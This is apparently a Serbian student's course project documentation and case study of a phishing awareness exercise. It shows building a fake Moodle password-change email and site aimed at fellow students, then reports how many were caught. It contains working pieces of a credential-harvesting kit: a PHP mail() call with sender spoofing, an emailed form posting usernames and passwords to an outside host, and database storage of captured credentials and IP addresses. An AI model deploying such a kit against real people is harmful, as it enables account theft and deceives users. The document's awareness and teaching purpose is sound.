12
Tehnička dokumentacija projekta Pecanje (Phishing) Iz predmeta : PRAKTIČNA NASTAVA Autor : Boban Lapčević Mentor : Vladica Ubavić

Studija slučaja - phishing

Embed Size (px)

Citation preview

Tehnička dokumentacija projekta Pecanje (Phishing)

Iz predmeta :

PRAKTIČNA NASTAVA

Autor : Boban Lapčević

Mentor : Vladica Ubavić

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

Vremenska linija razvoja projekta ili sadržaj:

Uvod(osnovni razvojni koncept)………………………………………………….1

Prvi funkcionalni prototip……………………………………………………………2

Admin panel I MVC……………………………………………………………………..3

Finalne faze projekta…………………………………………………………………...4

Analiza(studija slučaja)……………………………………….………………………5

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

1.Osovni razvojni koncept

Dobili smo zadatak, zbog našeg interesovanja za web tehnologije, da odradimo jedan drugačiji I praktično

orijentisan projekat, koji će imati za cilj povećanje svesti mladih informatičara o prisutnosti informatičkih

napada, njihovoj važnosti i mogućem curenju naših informacija, prvo u vidu lozinki a kasnije I indetifikaciju

napadača sa žrtvom, šta I kako posle napada, ali najveći akcenat je postavljen na to, šta uraditi da ne dodje

do problema?

Za rad smo dobili najčešći, veoma popularan internet napad nazvan phishing za IT, ustvari proisteklo iz

phishing) ili pecanje, gde je cilj da se korisnik navede da on “sam svojom voljom” (ne pažnjom) preda tj

pošalje napadaču svoje kompromitujuće ili bezbednostne informacije koje se nalaze u sistemima čiji pristup

on kao žrtva omogućava napadaču.

Da bi smo postigli što bolji efekat, odlučili smo da priču pretvorimo u stvarnost I shodno mom poznavanju

web tehnologija napravimo jedan potpuni sistem za Fishing I da testiramo svest naših starijih kolega sa

informatičkog smera.

Za test aplikaciju, apstrakovao sam sistem koji počinje primljenim e-mail-om od strane naše skripte koji

predstavlja “mamac” na kome stoji poruka koja bi trebala steći poverenje korisnika I u isto vreme da bude

dovoljno upečatljiva za iznudu informacija. Odabrali smo da prikupimo lozinke poznate platforme za učenje,

pa je poruka bila shodna tom sistemu, konkretno, ažuriranje moodle platforme. Prvi zadatak je bio pronaći

prigodno mesto gde će se sam sistem nalaziti kao i uslov da postoji instaliran Mail server sa koga bi smo

poslali naše poruke korisnicima. Pri otvaranju poruke korisnik vidi zahtev za promenu lozinke I link za

promenu lozinke. Vodjeni zakonom verovatnoće u samom mail-u smo ubacili forme za direktnu promenu

lozinke koji adresira na akciju koja upisuje podatke u html fajl I u bazu podataka. Na kraju tog procesa

potrebno je da administrator stekne uvid u uspešnost projekta, ali isto tako I neuspešnost ili nesvesnost

ciljane grupe studenata, koja olako poveravaju svoje podatke pristignutim mail-ovima. Za ovaj projekat

koristićemo PHP verzije 5.5.12 Apache server verzije: 2.4.9 MySql tip baze podataka na zakupljenom

nezavisnom privatnom serveru.

2.Prvi funkcionalni prototip

Prvo je bilo potrebno da se napravi dizajn koji će svojim izgledom biti što približniji stilu školskog lms-

sistema, odmah posle apstrakcije bacio sam se na html/css, pravio screenshot-ove, da bih stekao sliku kako bi

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

to trebalo da izgleda I šta sve, jedan takav sistem, bi trebao da ima. Posle pravljenja skice projekta imali smo

tačnu sliku kakav sistem želimo da realizujemo , i kojom tehnologijom. Za dizajn stranice iskoristio sam

potpuno iste stil fajlove koje koristi I školski vebsajt tj moodle platforma, opcijom view source u browser-u

dodelio sam svojoj stranici linkove ka css fajlovima platforme za učenje. Naravno sve je trebalo promeniti u

cilju funkcije našeg sistema a to je promena lozinke pa su dodata polja korisničko ime, stara lozinka, nova

lozinka I potvrdite novu lozinku.

Aplikacija pecanje treba početi uvek, naravno, od slanja e-mail adrese. Posle konfigurisanja mail-servera na

svom novom hostingu sam napisao posebnu skriptu za slanje email-a koja malo odstupa od uobičajene

skripte za e-mail. Da ova skripta koristi istu PHP funkciju kao I ostale, funkciju mail(), medjutim u ovoj

skripti je bilo potrebno naznačiti da se u njoj:

1.Izvršava HTML

2.Izvršava CSS

3.Da se ćirilica enkodira pravilno I po pravim standardima

4.I naravno da se sakrije pravi identitet sa koga je mail poslat (bar na prvi pogled korisnika)

$headers = “MIME-Version: 1.0\r\n”;

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

$to = '[email protected]';

$from = '[email protected]';

$subject = 'Lms - Ažuriranje podataka';

$body = '<!DOCTYPE html>

<html lang="en">

… Dalje u telu sajta postavimo polja I adresiramo formu na spoljnu akciju na serveru koja će posle submit-a

riderektovati I izvršiti funkciju za upis podataka u bazu. Pošto u email-u se css, kao poseban style jezik ne

prihvata morali smo da koristimo stariju verziju html tagova koja su danas odbačene, ali ipak se izvršavaju I

da preko njih pošaljemo css mail-u I da se izvrši u poruci.

Send_mail.php

<form action="http://vpskp.edu.mwi.si/action.php" method="post">

Korisnicko ime :

<input required name="username" type="text" style="background:#f2f2f2; padding:5px; border:1px solid

#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Korisničko ime">

Vaša lozinka :

<input required name="password" type="password" style=" background:#f2f2f2; padding:5px; border: 1px

solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Stara lozinka">

Nova lozinka :

<input required name="newpass" type="password" style=" background:#f2f2f2; padding:5px; border:1px

solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Nova lozinka">

Ponovite lozinku :

<input required name="passtr" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid

#000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Ponovite lozinku">

<div style="text-align:center;">

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input

type="submit" style="color:#fff; border-radius:5px; width:90%; text-align:center; -webkit-border-radius: 5px; -

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

moz-border-radius: 5px; background:#5e7f79; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px

#949494; font-weight:bold;">

</div>

</div>

</form>

I naravno na kraju mail funkcija sa svim vrednostima koje smo pripremili :

mail($to, $subject, $body, $headers, "-f$from");

Najčešći problem koji se javlja pri samom slanju mail-a ovakve vrste osim skrivanja identiteta koji se rešava

jednim –f ispred varijable $from jeste i pravilna enkripcija na svim mail sistemima .Mail sistem Outlook kao i

yahoo ima specifičnu vrstu enkripcije i možemo dobiti mail kao što je prikazano na slici iznad.

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

Posle upoznavanja sa specifičnostima svakog sistema u $headers varijabli smo promenili standardni utf8 u

iso-8859-1 i time dobili zadovoljavajući rezultat. Mail je uspešno stizao na odredište kao i više mail-ova.

PDO MYSQL bibliotekom smo uspostavili vezu sa bazom, a pored toga iskoristili i funkciju file_put_contest

za duplirani unos podataka u html fajl, kako bi lako mogli da pročitamo podatke koje smo uneli.

SQL upit je izgledao otprilike ovako : INSERT INTO datas(username, pass, newpass, verpass,date_submit,

IP_adress) VALUES (:username, :pass, :newpass, :verpass, :date_submit, :IP_adress)

Gde se može videti da sam pored ostalih informacija preuzeo i zabeležio korisničku IP adresu na osnovu čega

bih kasnije odredio broj unikatnih posetilaca sajta i izveo detaljnije statističke informacije.

Nakon svega testirali smo projekat Pecanje po prvi put u školi glumeći napadače i žrtve i dobili odgovarajuće

rezultate, to je bio potpuno funkcionalni prototip naše aplikacije.

3.Admin panel I MVC

Posle svakog prototipa, koji predstavlja celokupnu zamisao i pokriva sve obaveze koje dati sistem ima da

izvrši, potrebno je razraditi ideju vrlo pažljivo i organizovati podatke na taj način da se i posle mnogo linija

koda programer snadje za eventualnu nadogradnju softvera ili možda ispravku i slično. Posle zadatka da se

napravi još i admin panel, pristupio sam projektu ozbiljnije i uključio u plan nove funkcionalnosti koje treba

da dodam u sistem a to su:

1.Login Sistem (Autentifikacija)

2..htaccess

3.Generisanje liste

4.Forme za slanje e-mail zahteva

5. Početna - statistika

6.i Odjavljivanje sa platforme

Zato tražimo način na koji ćemo iskoristiti prednosti objektnog orijentisanog programiranja i napraviti od

svih tih klasa, referenci, nasledjivanja jednu skladnu celinu.

Pre nego što počenmo sa MVC-om moramo reći našem serveru na kome radimo da nam prepiše url i da

podesimo da kroz url ne pristupamo direktno fajlu kroz ime i ekstenziju već kroz url pristupamo klasi i u

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

njenoj __construct metodi toj funkciji ili u PHP-u ako je ime funkcije ista kao i ime klase ta funkcija se

automatski izvršava i bez pozivanja reference te funkcije posebno.

Ovako izgleda moj .htaccess fajl za projekat pecanje:

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule ^(.+)$ index.php?url=$1 [QSA,L]

Naveli smo samo neke od objekata koje se moraju isprogramirati. Pošto sama veličina aplikacije nije

komplikovana, zato nisam imao potrebu za korišćenjem nekih framework-a poput CodeIgniter-a ili Symfony

i slično. Napisao sam zbog potpune jasnoće i mogućnosti objašnjenja najprostiji mogući sopstveni MVC

frejmvork. MVC jeste model koji svrstava sve fajlove našeg PHP projekta otprilike u direktorijume : Model,

View i Controller i još neke pomoćne direktorijume... U model-u čuvamo komplikovane PHP funkcije koje

komuniciraju sa bazom. Controller nam omogućava pozivanje funkcija kao npr generisanje model-a i view-a

za svaki url tj app.com/url posebno, tako da nam se za npr

Example.com/index

Poziva ista ta funkcija sa tim imenom u controller-u index.php a controller poziva funkciju iz view-a koja

generiše fajl: index.php u folderu view/index folderu ...

Za example.com/dashboard

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

Generiše dashboard stil u view/dashboard/index.php, i tako redom...

Na datoj slici vidimo sublime editor i levu traku u kojoj je struktura našeg projekta

Config – U folderu config čuvamo konfiguracione fajlove kao što su domen servera, ime baze, lozinka, ime

korisnika...

Controllers – Svaka stranica mora imati svoj controller fajl koji će pozivajući se da generiše potrebne funkcije

svaki Controller počinje sa class ImeKontrolera()...

Libs – libs folder sadrži biblioteke od kojih je najavžnija npr bootstrap(gnezdo programa, tu je ceo kod koji

pozivamo u index, regulišemo url-ove, podešavamo loader-e model-a, posebnih klasa i referenci itd.),

Models – u models folderu čuvamo login_model, dashboard_model ... U njima se u različitim funkcijama

definišu kodovi i upiti koji komuniciraju sa bazom.Kreiraju, brišu, edituju zapise...

Public – Sav css i javascript kod stavljamo u public folder, takodje i sav materijal koji ima veze sa stilom

stranice. U public folderu se nalaze obično tri podfoldera a to su:

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

-CSS

-JS

-Images

-Views u ovom folderu se čuvaju fajlovi koji u sebi sadrže html svih stranica koje load-ujemo tako da stil ,

generisanje koda iz funkcija zbog pregleda programiramo fajlove unutar ovog foldera.

Admin panel

Da bi razdvojili interfejs posetioca i interfejs administratora, kreiraćemo poseban folder, administrator u

kome ćemo iskodirati celu okruženje za administratora. U folderu kreiramo prvo htaccess fajl, i integrišemo

naš mvc model . Da bi korisnici uopšte mogli da se loguju pravimo index stranicu za njih sa formom koja cilja

na neki model, u ovom slučaju login_model i funkciju u njemu npr funkcija enter. Podatke iz forme

prosledimo u SQL upit i uporedimo ih u npr tabeli users da li postoji ukoliko ne postoje korisnici se vraćaju

na istu ili sličnu stranicu sa tekstualnom porukom o grešci. Ukoliko identični podaci postoje korisnik se

loguje i započinje svoju sesiju. Funkcijom session_start počinje gostovanje korisnika na stranici npr

dashboard i njegovo gostavanje ne prestaje sve dok se ne pokrene funkcija session_destroy koja uništava

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

sesiju i vraća korisnika na login stranicu. Na svakoj zaštićenoj stranici, dakle, koja je namenjena korisniku

nalazi se provera. Varijabla dobija informacije da li sesija postoji i nakon provere korisnik ostaje na stranici ili

se riderektuje napolje van zaštićene mreže.

Dalje nastavljamo po istom šablonu mvc da pišemo funkcije koje su nam potrebne za rad sistema, a to su:

Početna Generiše Statistiku

Lista Generiše listu korisničkih podataka

Pošta Generiše polje koja sadrži vrednost koliko zahteva želimo poslati, posle procedurisanja forme

generiše se toliki broj polja koliko smo uneli, i vrednost tih polja je uneta u $to varijablu PHP mail funkcije

koja se pokreće sa MAIL servera.

Odjava – Uništavanje sesije i riderekt na administrator početnu stranicu.

4.Statistika

Postoje mnogi dizajni grafikona na internetu koje možete besplatno koristiti u vašem projektu uz naravno

nešto umeća iz SQL-a kao i znanja da javascript kod iz tih grafikona generišete pomoću PHP-a sa ubačenim

podacima iz odredjene baze, tabele i slično. Ja sam iskoristio javascript biblioteku highcharts.com, koja sadrži

velik broj različitih vrsta grafikona, pita, barova, tabela i slično. Iako su vrlo osetljive na promene, tako da na

primer, kada pogrešite u generisanju koda, jednostavno nestane ceo grafikon, sve dok sami ne nadjete grešku

u kodu, dok kodirate u PHP-u imate izveštaje koje vas upućuju na grešku pa čak i kako da je otklonite.

FISHING

„PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace

Na ovoj slici je prikazana početna stranica našeg završnog Pecanje projekta koja u prvom bar-chart-u

prikazuje koliko jedinstvenih IP adresa se ukupno „upecalo“ za svaki dan posebno. Dok drugi bar pokazuje

koliko puta su ti jedinstveni korisnici pokušali da se uloguju misleći da njihovi podaci nisu tačni, ovo je dobar

pokazatelj za napadače jer više puta poklopljenih starih šifri čini taj podatak realnijim, tako da je napadač

siguran da ima pravu šifru u bazi koju može iskoristiti. Što je prikazano i tabelarno odmah ispod bar-chart-a.

U drugom segmentu desno prikazan je procenat upecanih korisnika od uzorka broja email-a koji smo poslali.

Ukupno je poslato 20 email zahteva, 12 zahteva je potvrdjeno što čini 60 procenta potvrdjenih phishing

zahteva.

Na poslednjom pie-chart slici možemo videti da je najviše upecanih bilo prvog dana, i da je svakim sledećim

danom padao broj upecanih osoba, što je uobičajeno za dobro odradjen internet napad.

5.Analiza slučaja

Obzirom da je u prva dva dana nakon slanja zahteva, odaziv bio 50%, možemo li da izvedemo statističku

pretpostavku koliko od 20 učesnika otvori e-mail u razmaku od tri dana? Koliko god taj odziv bio, ne može

biti ni u kom slučaju 100%... Napomenimo da neki od korisnika uopšte i ne koriste email adrese. Studija ovog

slučaja takodje je pokazala da prvog dana 4 jedinstvena korisnika su pokušala ukupno 19 puta da unesu svoje

podatke tako da je napadač poklapanjem unetih podataka sve više sigurniji u njihovu autentičnost. Uzeći u

obzir celokupnu dosadašnju statistiku 12 korisnika su ukupno imala 51 pokušaj unosa informacija, što je 6,375

puta po korisniku. Ovo je mali eksperiment je pokazao koliko su i sami informatičari obazrivi na predaju

informacija, a kod običnog surfera danas rezultati uspešnosti phishing-a su još veći. Ovaj napad će još dugo

godina biti aktuelan i produktivan. Najbolje dokaze za to možemo videti na osnovu iskustva twitter-a kada su

prikupljeni podaci više od sto hiljada korisnika. Takodje to se vrlo često dešava i na google mail-ovima, gde je

to najčešći vid preuzimanja naloga. Na google mail-u postoji opcija prijavi kao phishing, koji je dosad jedini

vid odbrane (stavljanjem tog hosta na neku vrstu „crne liste google-a“, naravno, ukoliko je vaša prijava

opravdana). Jedini savet za one koje redovno proveravaju mail jeste da nikada ne menjaju podatke direktno

iz email poruke i da dobro provere url sajta gde ih vodi link, da li je (u vezi propusta twitter) u pitanju

twitter.com ili twitteri|.com .